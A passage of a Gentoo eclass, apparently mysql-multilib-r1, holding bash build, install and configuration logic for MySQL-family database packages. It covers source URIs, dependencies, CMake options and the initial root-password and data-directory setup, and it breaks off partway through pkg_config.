# @DESCRIPTION:
# MYSQL_VERSION_ID will be:
# major * 10e6 + minor * 10e4 + micro * 10e2 + gentoo revision number, all [0..99]
# This is an important part, because many of the choices the MySQL ebuild will do
# depend on this variable.
# In particular, the code below transforms a $PVR like "5.0.18-r3" in "5001803"
# We also strip off upstream's trailing letter that they use to respin tarballs
if [[ "${EAPI}x" == "5x" ]]; then
MYSQL_VERSION_ID=""
tpv="${PV%[a-z]}"
tpv=( ${tpv//[-._]/ } ) ; tpv[3]="${PVR:${#PV}}" ; tpv[3]="${tpv[3]##*-r}"
for vatom in 0 1 2 3 ; do
# pad to length 2
tpv[${vatom}]="00${tpv[${vatom}]}"
MYSQL_VERSION_ID="${MYSQL_VERSION_ID}${tpv[${vatom}]:0-2}"
done
# strip leading "0" (otherwise it's considered an octal number by BASH)
MYSQL_VERSION_ID=${MYSQL_VERSION_ID##"0"}
fi
# Work out the default SERVER_URI correctly
if [[ -z ${SERVER_URI} ]]; then
if [[ ${PN} == "mariadb" ]]; then
# Beginning with 5.5, MariaDB stopped putting beta, alpha or rc on their tarball names
MARIA_FULL_PV=$(get_version_component_range 1-3)
MARIA_FULL_P="${PN}-${MARIA_FULL_PV}"
SERVER_URI="https://downloads.mariadb.org/interstitial/${MARIA_FULL_P}/source/${MARIA_FULL_P}.tar.gz"
elif [[ ${PN} == "percona-server" ]]; then
PERCONA_PN="Percona-Server"
MIRROR_PV=$(get_version_component_range 1-2 ${PV})
MY_PV=$(get_version_component_range 1-3 ${PV})
PERCONA_RELEASE=$(get_version_component_range 4-5 ${PV})
PERCONA_RC=$(get_version_component_range 6 ${PV})
SERVER_URI="http://www.percona.com/redir/downloads/${PERCONA_PN}-${MIRROR_PV}/${PERCONA_PN}-${MY_PV}-${PERCONA_RC}${PERCONA_RELEASE}/source/tarball/${PN}-${MY_PV}-${PERCONA_RC}${PERCONA_RELEASE}.tar.gz"
else
if [[ "${PN}" == "mysql-cluster" ]] ; then
URI_DIR="MySQL-Cluster"
URI_FILE="mysql-cluster-gpl"
else
URI_DIR="MySQL"
URI_FILE="mysql"
fi
[[ -z ${MY_PV} ]] && MY_PV="${PV//_/-}"
URI_A="${URI_FILE}-${MY_PV}.tar.gz"
MIRROR_PV=$(get_version_component_range 1-2 ${PV})
# Recently upstream switched to an archive site, and not on mirrors
SERVER_URI="http://cdn.mysql.com/Downloads/${URI_DIR}-${MIRROR_PV}/${URI_A}
http://downloads.mysql.com/archives/${URI_DIR}-${MIRROR_PV}/${URI_A}"
fi
fi
# Define correct SRC_URIs
SRC_URI="${SERVER_URI}"
# Gentoo patches to MySQL
if [[ ${MY_EXTRAS_VER} != "live" && ${MY_EXTRAS_VER} != "none" ]]; then
SRC_URI="${SRC_URI}
mirror://gentoo/mysql-extras-${MY_EXTRAS_VER}.tar.bz2
https://gitweb.gentoo.org/proj/mysql-extras.git/snapshot/mysql-extras-${MY_EXTRAS_VER}.tar.bz2
https://dev.gentoo.org/~grknight/distfiles/mysql-extras-${MY_EXTRAS_VER}.tar.bz2
https://dev.gentoo.org/~robbat2/distfiles/mysql-extras-${MY_EXTRAS_VER}.tar.bz2
https://dev.gentoo.org/~jmbsvicetto/distfiles/mysql-extras-${MY_EXTRAS_VER}.tar.bz2"
fi
DESCRIPTION="A fast, multi-threaded, multi-user SQL database server"
HOMEPAGE="https://www.mysql.com/"
LICENSE="GPL-2"
SLOT="0/${SUBSLOT:-0}"
IUSE="debug embedded extraengine jemalloc latin1 libressl +openssl
+perl profiling selinux +server systemtap static static-libs tcmalloc test yassl"
REQUIRED_USE="^^ ( yassl openssl libressl )"
# Tests always fail when libressl is enabled due to hard-coded ciphers in the tests
RESTRICT="libressl? ( test )"
REQUIRED_USE="${REQUIRED_USE} !server? ( !extraengine !embedded )
?? ( tcmalloc jemalloc )
static? ( !libressl !openssl yassl )"
#
# DEPENDENCIES:
#
# Be warned, *DEPEND are version-dependant
# These are used for both runtime and compiletime
# MULTILIB_USEDEP only set for libraries used by the client library
DEPEND="
kernel_linux? (
sys-process/procps:0=
dev-libs/libaio:0=
)
>=sys-apps/sed-4
>=sys-apps/texinfo-4.7-r1
!dev-db/mariadb-native-client[mysqlcompat]
jemalloc? ( dev-libs/jemalloc:0= )
tcmalloc? ( dev-util/google-perftools:0= )
systemtap? ( >=dev-util/systemtap-1.3:0= )
openssl? ( >=dev-libs/openssl-1.0.0:0=[${MULTILIB_USEDEP},static-libs?] )
libressl? ( dev-libs/libressl:0=[${MULTILIB_USEDEP},static-libs?] )
>=sys-libs/zlib-1.2.3:0=[${MULTILIB_USEDEP},static-libs?]
sys-libs/ncurses:0=
"
# prefix: first need to implement something for #196294
RDEPEND="${DEPEND}
selinux? ( sec-policy/selinux-mysql )
"
# Having different flavours at the same time is not a good idea
for i in "mysql" "mariadb" "mariadb-galera" "percona-server" "mysql-cluster" ; do
[[ ${i} == ${PN} ]] ||
RDEPEND="${RDEPEND} !dev-db/${i}"
done
RDEPEND="${RDEPEND}
server? ( !prefix? ( dev-db/mysql-init-scripts ) )
!<virtual/mysql-5.6-r4"
# compile-time-only
# ncurses only needs multilib for compile time due to a binary that will be not installed
DEPEND="${DEPEND}
virtual/yacc
static? ( sys-libs/ncurses[static-libs] )
"
# For other stuff to bring us in
# dev-perl/DBD-mysql is needed by some scripts installed by MySQL
PDEPEND="${PDEPEND} perl? ( >=dev-perl/DBD-mysql-2.9004 )
server? ( ~virtual/mysql-${MYSQL_PV_MAJOR}[embedded=,static=] )
virtual/libmysqlclient:${SLOT}[${MULTILIB_USEDEP},static-libs=]"
# my_config.h includes ABI specific data
MULTILIB_WRAPPED_HEADERS=( /usr/include/mysql/my_config.h /usr/include/mysql/private/embedded_priv.h )
#
# EBUILD FUNCTIONS
#
# @FUNCTION: mysql-multilib-r1_pkg_pretend
# @DESCRIPTION:
# Perform some basic tests and tasks during pkg_pretend phase:
mysql-multilib-r1_pkg_pretend() {
if [[ ${MERGE_TYPE} != binary ]] ; then
local GCC_MAJOR_SET=$(gcc-major-version)
local GCC_MINOR_SET=$(gcc-minor-version)
if in_iuse tokudb && use tokudb && [[ ${GCC_MAJOR_SET} -lt 4 || \
${GCC_MAJOR_SET} -eq 4 && ${GCC_MINOR_SET} -lt 7 ]] ; then
eerror "${PN} with tokudb needs to be built with gcc-4.7 or later."
eerror "Please use gcc-config to switch to gcc-4.7 or later version."
die
fi
# Bug 565584. InnoDB now requires atomic functions introduced with gcc-4.7 on
# non x86{,_64} arches
if ! use amd64 && ! use x86 && [[ ${GCC_MAJOR_SET} -lt 4 || \
${GCC_MAJOR_SET} -eq 4 && ${GCC_MINOR_SET} -lt 7 ]] ; then
eerror "${PN} needs to be built with gcc-4.7 or later."
eerror "Please use gcc-config to switch to gcc-4.7 or later version."
die
fi
fi
}
# @FUNCTION: mysql-multilib-r1_pkg_setup
# @DESCRIPTION:
# Perform some basic tests and tasks during pkg_setup phase:
# die if FEATURES="test", USE="server" and not using FEATURES="userpriv"
# create new user and group for mysql
# warn about deprecated features
mysql-multilib-r1_pkg_setup() {
if has test ${FEATURES} && \
use server && ! has userpriv ${FEATURES} ; then
eerror "Testing with FEATURES=-userpriv is no longer supported by upstream. Tests MUST be run as non-root."
fi
# This should come after all of the die statements
enewgroup mysql 60 || die "problem adding 'mysql' group"
enewuser mysql 60 -1 /dev/null mysql || die "problem adding 'mysql' user"
}
# @FUNCTION: mysql-multilib-r1_src_unpack
# @DESCRIPTION:
# Unpack the source code
mysql-multilib-r1_src_unpack() {
# Initialize the proper variables first
mysql_init_vars
unpack ${A}
# Grab the patches
[[ "${MY_EXTRAS_VER}" == "live" ]] && S="${WORKDIR}/mysql-extras" git-r3_src_unpack
mv -f "${WORKDIR}/${MY_SOURCEDIR}" "${S}"
}
# @FUNCTION: mysql-multilib-r1_src_prepare
# @DESCRIPTION:
# Apply patches to the source code and remove unneeded bundled libs.
mysql-multilib-r1_src_prepare() {
debug-print-function ${FUNCNAME} "$@"
cd "${S}"
if [[ ${MY_EXTRAS_VER} != none ]]; then
# Apply the patches for this MySQL version
if [[ "${EAPI}x" == "5x" ]]; then
EPATCH_SUFFIX="patch"
mkdir -p "${EPATCH_SOURCE}" || die "Unable to create epatch directory"
# Clean out old items
rm -f "${EPATCH_SOURCE}"/*
# Now link in right patches
mysql_mv_patches
# And apply
epatch
fi
fi
# last -fPIC fixup, per bug #305873
i="${S}"/storage/innodb_plugin/plug.in
if [[ -f ${i} ]] ; then sed -i -e '/CFLAGS/s,-prefer-non-pic,,g' "${i}" || die ; fi
rm -f "scripts/mysqlbug"
if use jemalloc && [[ ${PN} != "mariadb" ]] ; then
echo "TARGET_LINK_LIBRARIES(mysqld jemalloc)" >> "${S}/sql/CMakeLists.txt" || die
fi
if use tcmalloc; then
echo "TARGET_LINK_LIBRARIES(mysqld tcmalloc)" >> "${S}/sql/CMakeLists.txt"
fi
if in_iuse tokudb ; then
# Don't build bundled xz-utils
if [[ -d "${S}/storage/tokudb/ft-index" ]] ; then
echo > "${S}/storage/tokudb/ft-index/cmake_modules/TokuThirdParty.cmake" || die
sed -i 's/ build_lzma//' "${S}/storage/tokudb/ft-index/ft/CMakeLists.txt" || die
elif [[ -d "${S}/storage/tokudb/PerconaFT" ]] ; then
echo > "${S}/storage/tokudb/PerconaFT/cmake_modules/TokuThirdParty.cmake" || die
sed -i -e 's/ build_lzma//' -e 's/ build_snappy//' "${S}/storage/tokudb/PerconaFT/ft/CMakeLists.txt" || die
sed -i -e 's/add_dependencies\(tokuportability_static_conv build_jemalloc\)//' "${S}/storage/tokudb/PerconaFT/portability/CMakeLists.txt" || die
fi
if [[ -d "${S}/plugin/tokudb-backup-plugin" ]] && ! use tokudb-backup-plugin ; then
rm -r "${S}/plugin/tokudb-backup-plugin/Percona-TokuBackup" || die
fi
fi
# Remove the bundled groonga if it exists
# There is no CMake flag, it simply checks for existance
if [[ -d "${S}"/storage/mroonga/vendor/groonga ]] ; then
rm -r "${S}"/storage/mroonga/vendor/groonga || die "could not remove packaged groonga"
fi
# Remove the centos and rhel selinux policies to support mysqld_safe under SELinux
if [[ -d "${S}/support-files/SELinux" ]] ; then
echo > "${S}/support-files/SELinux/CMakeLists.txt" || die
fi
cmake-utils_src_prepare
}
# @FUNCTION: mysql-multilib-r1_src_configure
# @DESCRIPTION:
# Configure mysql to build the code for Gentoo respecting the use flags.
mysql-multilib-r1_src_configure() {
# Bug #114895, bug #110149
filter-flags "-O" "-O[01]"
append-cxxflags -felide-constructors
# bug #283926, with GCC4.4, this is required to get correct behavior.
append-flags -fno-strict-aliasing
multilib-minimal_src_configure
}
multilib_src_configure() {
debug-print-function ${FUNCNAME} "$@"
CMAKE_BUILD_TYPE="RelWithDebInfo"
# debug hack wrt #497532
mycmakeargs=(
-DCMAKE_C_FLAGS_RELWITHDEBINFO="$(usex debug '' '-DNDEBUG')"
-DCMAKE_CXX_FLAGS_RELWITHDEBINFO="$(usex debug '' '-DNDEBUG')"
-DCMAKE_INSTALL_PREFIX=${EPREFIX}/usr
-DMYSQL_DATADIR=${EPREFIX}/var/lib/mysql
-DSYSCONFDIR=${EPREFIX}/etc/mysql
-DINSTALL_BINDIR=bin
-DINSTALL_DOCDIR=share/doc/${PF}
-DINSTALL_DOCREADMEDIR=share/doc/${PF}
-DINSTALL_INCLUDEDIR=include/mysql
-DINSTALL_INFODIR=share/info
-DINSTALL_LIBDIR=$(get_libdir)
-DINSTALL_ELIBDIR=$(get_libdir)/mysql
-DINSTALL_MANDIR=share/man
-DINSTALL_MYSQLDATADIR=${EPREFIX}/var/lib/mysql
-DINSTALL_MYSQLSHAREDIR=share/mysql
-DINSTALL_PLUGINDIR=$(get_libdir)/mysql/plugin
-DINSTALL_SBINDIR=sbin
-DINSTALL_SCRIPTDIR=share/mysql/scripts
-DINSTALL_SQLBENCHDIR=share/mysql
-DINSTALL_SUPPORTFILESDIR=${EPREFIX}/usr/share/mysql
-DWITH_COMMENT="Gentoo Linux ${PF}"
-DWITH_UNIT_TESTS=$(usex test ON OFF)
-DWITH_LIBEDIT=0
-DWITH_ZLIB=system
-DWITHOUT_LIBWRAP=1
-DENABLED_LOCAL_INFILE=1
-DMYSQL_UNIX_ADDR=${EPREFIX}/var/run/mysqld/mysqld.sock
-DINSTALL_UNIX_ADDRDIR=${EPREFIX}/var/run/mysqld/mysqld.sock
-DWITH_DEFAULT_COMPILER_OPTIONS=0
-DWITH_DEFAULT_FEATURE_SET=0
-DINSTALL_SYSTEMD_UNITDIR="$(systemd_get_systemunitdir)"
-DENABLE_STATIC_LIBS=$(usex static-libs ON OFF)
# The build forces this to be defined when cross-compiling. We pass it
# all the time for simplicity and to make sure it is actually correct.
-DSTACK_DIRECTION=$(tc-stack-grows-down && echo -1 || echo 1)
-DPKG_CONFIG_EXECUTABLE="${EPREFIX}/usr/bin/$(tc-getPKG_CONFIG)"
)
if use test ; then
mycmakeargs+=( -DINSTALL_MYSQLTESTDIR=share/mysql/mysql-test )
else
mycmakeargs+=( -DINSTALL_MYSQLTESTDIR='' )
fi
if use openssl || use libressl ; then
mycmakeargs+=( -DWITH_SSL=system )
else
mycmakeargs+=( -DWITH_SSL=bundled )
fi
if ! multilib_is_native_abi ; then
mycmakeargs+=( -DWITHOUT_TOOLS=1 )
fi
if in_iuse bindist ; then
# bfd.h is only used starting with 10.1 and can be controlled by NOT_FOR_DISTRIBUTION
if multilib_is_native_abi; then
mycmakeargs+=(
-DWITH_READLINE=$(usex bindist 1 0)
-DNOT_FOR_DISTRIBUTION=$(usex bindist 0 1)
)
else
mycmakeargs+=(
-DWITH_READLINE=1
-DNOT_FOR_DISTRIBUTION=0
)
fi
fi
### TODO: make this system but issues with UTF-8 prevent it
mycmakeargs+=( -DWITH_EDITLINE=bundled )
if multilib_is_native_abi && use server ; then
# systemd is only linked to for server notification
if in_iuse systemd ; then
mycmakeargs+=( -DWITH_SYSTEMD=$(usex systemd yes no) )
fi
if [[ ( -n ${MYSQL_DEFAULT_CHARSET} ) && ( -n ${MYSQL_DEFAULT_COLLATION} ) ]]; then
ewarn "You are using a custom charset of ${MYSQL_DEFAULT_CHARSET}"
ewarn "and a collation of ${MYSQL_DEFAULT_COLLATION}."
ewarn "You MUST file bugs without these variables set."
mycmakeargs+=(
-DDEFAULT_CHARSET=${MYSQL_DEFAULT_CHARSET}
-DDEFAULT_COLLATION=${MYSQL_DEFAULT_COLLATION}
)
elif ! use latin1 ; then
mycmakeargs+=(
-DDEFAULT_CHARSET=utf8
-DDEFAULT_COLLATION=utf8_general_ci
)
else
mycmakeargs+=(
-DDEFAULT_CHARSET=latin1
-DDEFAULT_COLLATION=latin1_swedish_ci
)
fi
mycmakeargs+=(
-DEXTRA_CHARSETS=all
-DMYSQL_USER=mysql
-DMYSQL_UNIX_ADDR=${EPREFIX}/var/run/mysqld/mysqld.sock
-DDISABLE_SHARED=$(usex static YES NO)
-DWITH_DEBUG=$(usex debug)
-DWITH_EMBEDDED_SERVER=$(usex embedded)
-DWITH_PROFILING=$(usex profiling)
)
if use static; then
mycmakeargs+=( -DWITH_PIC=1 )
fi
if use jemalloc || use tcmalloc ; then
mycmakeargs+=( -DWITH_SAFEMALLOC=OFF )
fi
# Storage engines
mycmakeargs+=(
-DWITH_ARCHIVE_STORAGE_ENGINE=1
-DWITH_BLACKHOLE_STORAGE_ENGINE=1
-DWITH_CSV_STORAGE_ENGINE=1
-DWITH_HEAP_STORAGE_ENGINE=1
-DWITH_INNOBASE_STORAGE_ENGINE=1
-DWITH_MYISAMMRG_STORAGE_ENGINE=1
-DWITH_MYISAM_STORAGE_ENGINE=1
-DWITH_PARTITION_STORAGE_ENGINE=1
)
mycmakeargs+=( -DWITH_FEDERATED_STORAGE_ENGINE=$(usex extraengine) )
else
mycmakeargs+=(
-DWITHOUT_SERVER=1
-DWITHOUT_EMBEDDED_SERVER=1
-DEXTRA_CHARSETS=none
-DINSTALL_SQLBENCHDIR=
-DWITH_SYSTEMD=no
)
fi
# systemtap only works on native ABI bug 530132
if multilib_is_native_abi; then
mycmakeargs+=( -DENABLE_DTRACE=$(usex systemtap)
"${MYSQL_CMAKE_NATIVE_DEFINES[@]}" )
else
mycmakeargs+=( -DENABLE_DTRACE=0
"${MYSQL_CMAKE_NONNATIVE_DEFINES[@]}" )
fi
mycmakeargs+=( "${MYSQL_CMAKE_EXTRA_DEFINES[@]}" )
cmake-utils_src_configure
}
mysql-multilib-r1_src_compile() {
local _cmake_args=( "${@}" )
multilib-minimal_src_compile
}
multilib_src_compile() {
cmake-utils_src_compile "${_cmake_args[@]}"
}
# @FUNCTION: mysql-multilib-r1_src_install
# @DESCRIPTION:
# Install mysql.
mysql-multilib-r1_src_install() {
# wrap the config script
MULTILIB_CHOST_TOOLS=( /usr/bin/mysql_config )
multilib-minimal_src_install
}
multilib_src_install() {
debug-print-function ${FUNCNAME} "$@"
cmake-utils_src_install
# Make sure the vars are correctly initialized
mysql_init_vars
# Remove an unnecessary, private config header which will never match between ABIs and is not meant to be used
if [[ -f "${D}${MY_INCLUDEDIR}/private/config.h" ]] ; then
rm "${D}${MY_INCLUDEDIR}/private/config.h" || die
fi
if multilib_is_native_abi; then
# Convenience links
einfo "Making Convenience links for mysqlcheck multi-call binary"
dosym "/usr/bin/mysqlcheck" "/usr/bin/mysqlanalyze"
dosym "/usr/bin/mysqlcheck" "/usr/bin/mysqlrepair"
dosym "/usr/bin/mysqlcheck" "/usr/bin/mysqloptimize"
# INSTALL_LAYOUT=STANDALONE causes cmake to create a /usr/data dir
if [[ -d "${ED}/usr/data" ]] ; then
rm -Rf "${ED}/usr/data" || die
fi
# Unless they explicitly specific USE=test, then do not install the
# testsuite. It DOES have a use to be installed, esp. when you want to do a
# validation of your database configuration after tuning it.
if ! use test ; then
rm -rf "${D}"/${MY_SHAREDSTATEDIR}/mysql-test
fi
# Configuration stuff
case ${MYSQL_PV_MAJOR} in
5.5) mysql_mycnf_version="5.5" ;;
5.[6-9]|6*|7*|8*|9*|10*) mysql_mycnf_version="5.6" ;;
esac
einfo "Building default my.cnf (${mysql_mycnf_version})"
insinto "${MY_SYSCONFDIR#${EPREFIX}}"
[[ -f "${S}/scripts/mysqlaccess.conf" ]] && doins "${S}"/scripts/mysqlaccess.conf
mycnf_src="my.cnf-${mysql_mycnf_version}"
sed -e "s!@DATADIR@!${MY_DATADIR}!g" \
"${FILESDIR}/${mycnf_src}" \
> "${TMPDIR}/my.cnf.ok" || die
use prefix && sed -i -r -e '/^user[[:space:]]*=[[:space:]]*mysql$/d' "${TMPDIR}/my.cnf.ok"
if use latin1 ; then
sed -i \
-e "/character-set/s|utf8|latin1|g" \
"${TMPDIR}/my.cnf.ok" || die
fi
eprefixify "${TMPDIR}/my.cnf.ok"
newins "${TMPDIR}/my.cnf.ok" my.cnf
if use server ; then
einfo "Including support files and sample configurations"
docinto "support-files"
for script in \
"${S}"/support-files/my-*.cnf.sh \
"${S}"/support-files/magic \
"${S}"/support-files/ndb-config-2-node.ini.sh
do
[[ -f $script ]] && dodoc "${script}"
done
docinto "scripts"
for script in "${S}"/scripts/mysql* ; do
[[ ( -f $script ) && ( ${script%.sh} == ${script} ) ]] && dodoc "${script}"
done
fi
#Remove mytop if perl is not selected
[[ -e "${ED}/usr/bin/mytop" ]] && ! use perl && rm -f "${ED}/usr/bin/mytop"
# Percona has decided to rename libmysqlclient to libperconaserverclient
# Use a symlink to preserve linkages for those who don't use mysql_config
local suffix
for suffix in ".so" "_r.so" ".a" "_r.a" ; do
if [[ -e "${ED}/usr/$(get_libdir)/libperconaserverclient${suffix}" ]] ; then
dosym libperconaserverclient${suffix} /usr/$(get_libdir)/libmysqlclient${suffix}
fi
done
else
if [[ "${PN}" == "mariadb" ]] && use server ; then
insinto /usr/include/mysql/private
doins "${S}"/sql/*.h
fi
fi
}
# @FUNCTION: mysql-multilib-r1_pkg_preinst
# @DESCRIPTION:
# Warn about ABI changes when switching providers
mysql-multilib-r1_pkg_preinst() {
debug-print-function ${FUNCNAME} "$@"
# Here we need to see if the implementation switched client libraries
# We check if this is a new instance of the package and a client library already exists
local SHOW_ABI_MESSAGE
if [[ -z ${REPLACING_VERSIONS} && -e "${EROOT}usr/$(get_libdir)/libmysqlclient.so" ]] ; then
elog "Due to ABI changes when switching between different client libraries,"
elog "revdep-rebuild must find and rebuild all packages linking to libmysqlclient."
elog "Please run: revdep-rebuild --library libmysqlclient.so.${SUBSLOT:-18}"
ewarn "Failure to run revdep-rebuild may cause issues with other programs or libraries"
fi
}
# @FUNCTION: mysql-multilib-r1_pkg_postinst
# @DESCRIPTION:
# Run post-installation tasks:
# create the dir for logfiles if non-existant
# touch the logfiles and secure them
# install scripts
# issue required steps for optional features
# issue deprecation warnings
mysql-multilib-r1_pkg_postinst() {
debug-print-function ${FUNCNAME} "$@"
# Make sure the vars are correctly initialized
mysql_init_vars
# Create log directory securely if it does not exist
[[ -d "${ROOT}${MY_LOGDIR}" ]] || install -d -m0750 -o mysql -g mysql "${ROOT}${MY_LOGDIR}"
if use server ; then
docinto "support-files"
for script in \
support-files/my-*.cnf \
support-files/magic \
support-files/ndb-config-2-node.ini
do
[[ -f "${script}" ]] \
&& dodoc "${script}"
done
docinto "scripts"
for script in scripts/mysql* ; do
if [[ -f "${script}" && "${script%.sh}" == "${script}" ]]; then
dodoc "${script}"
fi
done
if in_iuse pam && use pam; then
einfo
elog "This install includes the PAM authentication plugin."
elog "To activate and configure the PAM plugin, please read:"
if [[ ${PN} == "mariadb" ]] ; then
elog "https://mariadb.com/kb/en/mariadb/pam-authentication-plugin/"
elif [[ ${PN} == "percona-server" ]] ; then
elog "https://www.percona.com/doc/percona-server/5.6/management/pam_plugin.html"
fi
einfo
fi
if [[ -z "${REPLACING_VERSIONS}" ]] ; then
einfo
elog "You might want to run:"
elog "\"emerge --config =${CATEGORY}/${PF}\""
elog "if this is a new install."
elog
elog "If you are switching server implentations, you should run the"
elog "mysql_upgrade tool."
einfo
else
einfo
elog "If you are upgrading major versions, you should run the"
elog "mysql_upgrade tool."
einfo
fi
if in_iuse galera && use galera ; then
einfo
elog "Be sure to edit the my.cnf file to activate your cluster settings."
elog "This should be done after running \"emerge --config =${CATEGORY}/${PF}\""
elog "The first time the cluster is activated, you should add"
elog "--wsrep-new-cluster to the options in /etc/conf.d/mysql for one node."
elog "This option should then be removed for subsequent starts."
einfo
fi
fi
}
# @FUNCTION: mysql-multilib-r1_getopt
# @DESCRIPTION:
# Use my_print_defaults to extract specific config options
mysql-multilib-r1_getopt() {
local mypd="${EROOT}"/usr/bin/my_print_defaults
section="$1"
flag="--${2}="
"${mypd}" $section | sed -n "/^${flag}/p"
}
# @FUNCTION: mysql-multilib-r1_getoptval
# @DESCRIPTION:
# Use my_print_defaults to extract specific config options
mysql-multilib-r1_getoptval() {
local mypd="${EROOT}"/usr/bin/my_print_defaults
local section="$1"
local flag="--${2}="
local extra_options="${3}"
"${mypd}" $extra_options $section | sed -n "/^${flag}/s,${flag},,gp"
}
# @FUNCTION: mysql-multilib-r1_pkg_config
# @DESCRIPTION:
# Configure mysql environment.
mysql-multilib-r1_pkg_config() {
debug-print-function ${FUNCNAME} "$@"
local old_MY_DATADIR="${MY_DATADIR}"
local old_HOME="${HOME}"
# my_print_defaults needs to read stuff in $HOME/.my.cnf
export HOME=${EPREFIX}/root
# Make sure the vars are correctly initialized
mysql_init_vars
[[ -z "${MY_DATADIR}" ]] && die "Sorry, unable to find MY_DATADIR"
if [[ ! -x "${EROOT}/usr/sbin/mysqld" ]] ; then
die "Minimal builds do NOT include the MySQL server"
fi
if [[ ( -n "${MY_DATADIR}" ) && ( "${MY_DATADIR}" != "${old_MY_DATADIR}" ) ]]; then
local MY_DATADIR_s="${ROOT}/${MY_DATADIR}"
MY_DATADIR_s="${MY_DATADIR_s%%/}"
local old_MY_DATADIR_s="${ROOT}/${old_MY_DATADIR}"
old_MY_DATADIR_s="${old_MY_DATADIR_s%%/}"
if [[ ( -d "${old_MY_DATADIR_s}" ) && ( "${old_MY_DATADIR_s}" != / ) ]]; then
if [[ -d "${MY_DATADIR_s}" ]]; then
ewarn "Both ${old_MY_DATADIR_s} and ${MY_DATADIR_s} exist"
ewarn "Attempting to use ${MY_DATADIR_s} and preserving ${old_MY_DATADIR_s}"
else
elog "Moving MY_DATADIR from ${old_MY_DATADIR_s} to ${MY_DATADIR_s}"
mv --strip-trailing-slashes -T "${old_MY_DATADIR_s}" "${MY_DATADIR_s}" \
|| die "Moving MY_DATADIR failed"
fi
else
ewarn "Previous MY_DATADIR (${old_MY_DATADIR_s}) does not exist"
if [[ -d "${MY_DATADIR_s}" ]]; then
ewarn "Attempting to use ${MY_DATADIR_s}"
else
eerror "New MY_DATADIR (${MY_DATADIR_s}) does not exist"
die "Configuration Failed! Please reinstall ${CATEGORY}/${PN}"
fi
fi
fi
local pwd1="a"
local pwd2="b"
local maxtry=15
if [ -z "${MYSQL_ROOT_PASSWORD}" ]; then
local tmp_mysqld_password_source=
for tmp_mysqld_password_source in mysql client; do
einfo "Trying to get password for mysql 'root' user from '${tmp_mysqld_password_source}' section ..."
MYSQL_ROOT_PASSWORD="$(mysql-multilib-r1_getoptval "${tmp_mysqld_password_source}" password)"
if [[ -n "${MYSQL_ROOT_PASSWORD}" ]]; then
if [[ ${MYSQL_ROOT_PASSWORD} == *$'\n'* ]]; then
ewarn "Ignoring password from '${tmp_mysqld_password_source}' section due to newline character (do you have multiple password options set?)!"
MYSQL_ROOT_PASSWORD=
continue
fi
einfo "Found password in '${tmp_mysqld_password_source}' section!"
break
fi
done
# Sometimes --show is required to display passwords in some implementations of my_print_defaults
if [[ "${MYSQL_ROOT_PASSWORD}" == '*****' ]]; then
MYSQL_ROOT_PASSWORD="$(mysql-multilib-r1_getoptval "${tmp_mysqld_password_source}" password --show)"
fi
unset tmp_mysqld_password_source
fi
MYSQL_TMPDIR="$(mysql-multilib-r1_getoptval mysqld tmpdir)"
# These are dir+prefix
MYSQL_RELAY_LOG="$(mysql-multilib-r1_getoptval mysqld relay-log)"
MYSQL_RELAY_LOG=${MYSQL_RELAY_LOG%/*}
MYSQL_LOG_BIN="$(mysql-multilib-r1_getoptval mysqld log-bin)"
MYSQL_LOG_BIN=${MYSQL_LOG_BIN%/*}
if [[ ! -d "${ROOT}"/$MYSQL_TMPDIR ]]; then
einfo "Creating MySQL tmpdir $MYSQL_TMPDIR"
install -d -m 770 -o mysql -g mysql "${EROOT}"/$MYSQL_TMPDIR
fi
if [[ ! -d "${ROOT}"/$MYSQL_LOG_BIN ]]; then
einfo "Creating MySQL log-bin directory $MYSQL_LOG_BIN"
install -d -m 770 -o mysql -g mysql "${EROOT}"/$MYSQL_LOG_BIN
fi
if [[ ! -d "${EROOT}"/$MYSQL_RELAY_LOG ]]; then
einfo "Creating MySQL relay-log directory $MYSQL_RELAY_LOG"
install -d -m 770 -o mysql -g mysql "${EROOT}"/$MYSQL_RELAY_LOG
fi
if [[ -d "${ROOT}/${MY_DATADIR}/mysql" ]] ; then
ewarn "You have already a MySQL database in place."
ewarn "(${ROOT}/${MY_DATADIR}/*)"
ewarn "Please rename or delete it if you wish to replace it."
die "MySQL database already exists!"
fi
# Bug #213475 - MySQL _will_ object strenously if your machine is named
# localhost. Also causes weird failures.
[[ "${HOSTNAME}" == "localhost" ]] && die "Your machine must NOT be named localhost"
if [ -z "${MYSQL_ROOT_PASSWORD}" ]; then
einfo "Please provide a password for the mysql 'root' user now"
einfo "or through the ${HOME}/.my.cnf file."
ewarn "Avoid [\"'\\_%] characters in the password"
read -rsp " >" pwd1 ; echo
einfo "Retype the password"
read -rsp " >" pwd2 ; echo
if [[ "x$pwd1" != "x$pwd2" ]] ; then
die "Passwords are not the same"
fi
MYSQL_ROOT_PASSWORD="${pwd1}"
unset pwd1 pwd2
fi
local options
local sqltmp="$(emktemp)"
# Fix bug 446200. Don't reference host my.cnf, needs to come first,
# see http://bugs.mysql.com/bug.php?id=31312
use prefix && options="${options} '--defaults-file=${MY_SYSCONFDIR}/my.cnf'"
local help_tables="${ROOT}${MY_SHAREDSTATEDIR}/fill_help_tables.sql"
[[ -r "${help_tables}" ]] \
&& cp "${help_tables}" "${TMPDIR}/fill_help_tables.sql" \
|| touch "${TMPDIR}/fill_help_tables.sql"
help_tables="${TMPDIR}/fill_help_tables.sql"
# Figure out which options we need to disable to do the setup
local helpfile="${TMPDIR}/mysqld-help"
${EROOT}/usr/sbin/mysqld --verbose --help >"${helpfile}" 2>/dev/null
for opt in grant-tables host-cache name-resolve networking slave-start \
federated ssl log-bin relay-log slow-query-log external-locking \
ndbcluster log-slave-updates wsrep-on \
; do
optexp="--(skip-)?${opt}" optfull="--loose-skip-${opt}"
egrep -sq -- "${optexp}" "${helpfile}" && options="${options} ${optfull}"
done
# But some options changed names
egrep -sq external-locking "${helpfile}" && \
options="${options/skip-locking/skip-external-locking}"
einfo "Creating the mysql database and setting proper permissions on it ..."
# Now that /var/run is a tmpfs mount point, we need to ensure it exists before using it
PID_DIR="${EROOT}/var/run/mysqld"
if [[ ! -d "${PID_DIR}" ]]; then
install -d -m 755 -o mysql -g mysql "${PID_DIR}" || die "Could not create pid directory"
fi
if [[ ! -d "${MY_DATADIR}" ]]; then
install -d -m 750 -o mysql -g mysql "${MY_DATADIR}" || die "Could not create data directory"
fi
pushd "${TMPDIR}" &>/dev/null || die
# Filling timezones, see
# http://dev.mysql.com/doc/mysql/en/time-zone-support.html
"${EROOT}/usr/bin/mysql_tzinfo_to_sql" "${EROOT}/usr/share/zoneinfo" > "${sqltmp}" 2>/dev/null
local cmd
local initialize_options
if [[ ${PN} == "mysql" || ${PN} == "percona-server" ]] && version_is_at_least "5.7.6" ; then
